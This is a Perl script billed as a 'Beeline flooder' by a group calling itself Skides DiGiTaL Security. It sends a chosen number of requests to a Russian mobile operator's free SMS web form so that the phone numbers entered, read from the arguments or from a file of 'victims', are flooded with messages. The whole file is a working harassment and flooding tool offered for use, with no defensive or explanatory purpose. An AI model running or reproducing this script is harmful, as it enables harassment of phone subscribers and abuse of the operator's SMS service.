#!/usr/bin/perl

use LWP::UserAgent;

  if(@ARGV < 2)
  {
      print qq(
 .:: Skides DiGiTaL Security ::.
 ------------------------------------
 Beeline flooder by rav3n (rav3n@skides.net.ru)
 Usage:  perl beeflood.pl [options]
 Sample: perl beeflood.pl -p:3 -t:1234567 -n:10
 Sample: perl beeflood.pl -s:victim.txt -n:10
 
 options:
 
 -p:[ARG]prefix of number
      
          -p:3   -  Beeline 903, 095
          -p:6   -  Beeline 905
          -p:14  -  Beeline 906
          -p:17  -  Beeline 909
          -p:18  -  Beeline 960
          -p:7   -  NC GSM, 865  
          -p:8   -  NC GSM, 902  
          -p:9   -  NC GSM, 878
          -p:11  -  NC GSM, 903
          -p:12  -  NC GSM, 905
          -p:19  -  NC GSM, 906
          -p:20  -  NC GSM, 909
          -p:10  -  EXTEL GSM, 902
          -p:13  -  EXTEL GSM, 905
          -p:21  -  EXTEL GSM, 909
          -p:15  -  Dal Telecom, 902
          -p:16  -  Dal Telecom, 904
          -p:22  -  Dal Telecom, 909
  
  -t:[ARG] phone number (without prefix)
  -n:[ARG] number of messages  
  -s:[ARG] filename with victims (prefix:phone)
  );

      exit 0;
   
  }
  
for($i=0;$i<=$#ARGV;$i++)
{
if($ARGV[$i] =~ /-p/)
{
    ($null,$prefix) = split(":",$ARGV[$i]);
}

elsif($ARGV[$i] =~ /-t/)
{
($null,$phone) = split(":",$ARGV[$i]);
}

elsif($ARGV[$i] =~ /-n/)
{
($null,$num) = split(":",$ARGV[$i]);
}

  elsif($ARGV[$i] =~ /-s/)
{
($null,$victimfile) = split(":",$ARGV[$i]);
}
}

$ua = new LWP::UserAgent;
$ua->timeout(10);

$req = HTTP::Request->new(POST => "http://www.beonline.ru/portal/melody_logo/bin_cont.sms/bin_logo_free.sms");
$req->content_type ('application/x-www-form-urlencoded');
  
if($victimfile)
{
  open(MSG,"$victimfile") || die("bad file name $victimfile");
} 

for($i=1;$i<=$num;$i++)
{
if($victimfile)
  {
    get_file_data();
  } 

  $req->content ("phone_prefix=$prefix&phone7=$phone&register=/images/btn/btn_send.gif");   
  $l = $ua->request($req)->as_string;

  print "$i  prefix-phone [$prefix-$phone] MESSAGE IS SEND!\n";
}

sub get_file_data()
{
$msg = <MSG>;

unless($msg)
{
seek(MSG,0,0);
$msg = <MSG>;
}

$msg =~ s/\r//g;
$msg =~ s/\n//g;

  ($prefix,$phone) = split(":",$msg);
}